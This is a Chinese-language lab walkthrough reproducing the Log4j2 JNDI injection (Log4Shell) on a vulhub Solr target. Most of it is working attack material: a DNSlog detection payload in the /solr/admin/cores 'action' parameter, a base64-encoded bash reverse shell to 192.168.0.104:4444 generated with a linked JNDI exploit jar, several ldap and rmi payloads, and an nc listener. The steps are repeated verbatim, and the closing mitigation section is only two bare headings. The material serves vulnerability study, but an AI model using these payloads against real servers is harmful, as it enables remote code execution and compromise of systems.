log4j2原理:
log4j2框架下的lookup服务提供了{}字段解析的功能,传进入的值会被直接解析,jdni服务就会请求远程的服务链接到本地对象,比如rmi和ladp。这时候服务端只要在{}里面调用jndi服务,即可反弹shell到指定服务器中。
利用vulhub靶场进行复现
找到靶场的注入点,我们可以发现/solr/admin/cores?这里有个参数可以传参数
利用dnslog构造pyload来判断是否存在log4j漏洞,我这里用dnslog为ceye.io
构造的pyload:
cores?action=${jndi:ldap://${sys:java.version}.i913n8.ceye.io}
利用截图:
漏洞严重成功截图:
存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在ceye.io那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号
github上一个jndi注入工具:链接如下
https://github.com/d-rn/vulBox/blob/main/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
利用整体步骤:
1.生成shell,并将shell编码成base64
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.104"
2.利用jndi工具得到注入pyload
${jndi:ldap://192.168.0.104:1389/bdy3jf}
3.利用nc监听shell端口
nc -lvvp 4444
4.发送生产的pyload
cores?action=${jndi:ldap://192.168.0.104:1389/bdy3jf}
5.得到shell
1.生成shell,并将shell编码成base64
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.104"
参数说明:
base64编码反弹shell脚本。-A参数接vps地址
开始漏洞利用,首先我们构造反弹shell用到的命令:
bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1
例如:
bash -i >& /dev/tcp/192.168.0.104/4444 0>&1
2.利用jndi工具得到注入pyload
得到注入的pyload,如果反弹不成功,可以多试用几个pyload:
${jndi:rmi://192.168.0.104:1099/bdy3jf}
${jndi:ldap://192.168.0.104:1389/bdy3jf}
${jndi:rmi://192.168.0.104:1099/h8unbv}
${jndi:ldap://192.168.0.104:1389/h8unbv}
${jndi:rmi://192.168.0.104:1099/x3i6jm}
3.利用nc监听shell端口
nc -lvvp 端口
例如:
nc -lvvp 4444
nc监听的端口则是,反弹shell设置的端口
4.发送生产的pyload
cores?action=${jndi:ldap://192.168.0.104:1389/bdy3jf}
5.得到shell
jndi注入工具又回显
反弹成功的shell
1.升级版本
2.临时方案